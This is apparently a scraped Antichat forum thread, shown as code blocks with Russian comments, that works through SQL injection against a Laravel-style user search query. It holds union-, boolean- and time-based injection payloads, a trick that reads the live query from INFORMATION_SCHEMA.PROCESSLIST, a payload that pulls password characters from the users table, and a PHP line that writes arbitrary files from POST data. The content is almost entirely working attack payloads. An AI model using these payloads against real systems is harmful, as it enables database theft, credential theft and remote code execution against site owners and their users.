ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
SELECT [STRAIGHT_JOIN]

       [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]

       [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]

       [DISTINCT | DISTINCTROW | ALL]

    select_expression,...

    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]

    [FROM table_references

      [WHERE where_definition]

      [GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]

      [HAVING where_definition]

      [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]

      [LIMIT [offset,] rows]

      [PROCEDURE procedure_name]

      [FOR UPDATE | LOCK IN SHARE MODE]]

Code:
rce=@file_put_contents($_POST[f],$_POST[c]);&f=./filename.php&c=

Code:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
")*-1 UNION SELECT "'\"\\" -- // если ошибка, значит результат уходит в другой запрос, крутим по обстоятельствам
") OR SUBSTRING((SELECT VERSION()),1,1)=5 LIMIT 1 -- // boolean based true, есть вывод чего либо
") OR SUBSTRING((SELECT VERSION()),1,1)=1 LIMIT 1 -- // boolean based false, вывода нет
") AND IF(SUBSTRING((SELECT VERSION()),1,1)=5,SLEEP(100),SLEEP(0)); -- // крутим time based

Code:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше

Code:
com%")*-1 UNION SELECT 1

Code:
SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"

Code:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty

Code:
SELECT
    `USERS`.*,
    (
    SELECT COUNT(*) FROM `USERS` AS `LARAVEL_RESERVED_0`
        WHERE `USERS`.`ID` = `LARAVEL_RESERVED_0`.`REFERRER_ID` AND`LARAVEL_RESERVED_0`.`DELETED_AT` IS NULL
    ) AS `REFERRALS_COUNT`
    FROM `USERS`
    WHERE `REFERRER_ID` = ?  AND(
            `EMAIL` LIKE ? OR `IP` LIKE ?
OR CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) LIKE "%{INJECTION_HERE}%" OR `id`= ?) AND `USERS`.`DELETED_AT` IS NULL  ORDER BY  `ID` DESC LIMIT 20 OFFSET 0

Code:
notfound") union select *, 134 as 'referrals_count' from users where id=1 or (name="

Code:
") or 1=1 limit 10 offset 0 -- -

Code:
") or 1=1 limit 10 offset 1 -- -

Code:
") or id=(select count(*) from users where id in (1,2,3,4) limit 1)  -- -

Code:
")*-1 UNION SELECT 1 FROM (SELECT 1)a WHERE SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S" -- 1
")*-1 UNION SELECT IF(SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S",SLEEP(2),SLEEP(0)) -- 1

Code:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty

Code:
?search=com // возвращает строки с `com`
?search=qwerty // нет строк с таким вхождением
com") union select 1 -- - // ошибка
qwerty") union select 1 -- - // ошиби нет, ничего не возвращает

Code:
select count(*) as aggregate from `users` where `referrer_id` = ? and ( `email` like ? or `ip` like ? or concat_ws("", last_name, "", name, "midlle_name") like "%inject here%") and `users`.`deleted_at` is null order by  `id` desc limit 20 offset 0

Code:
") or id in(select ascii(substring(pass,1,1)),ascii(substring(pass,2,1)),ascii(substring(pass,3,1)) from users where id=xxxx)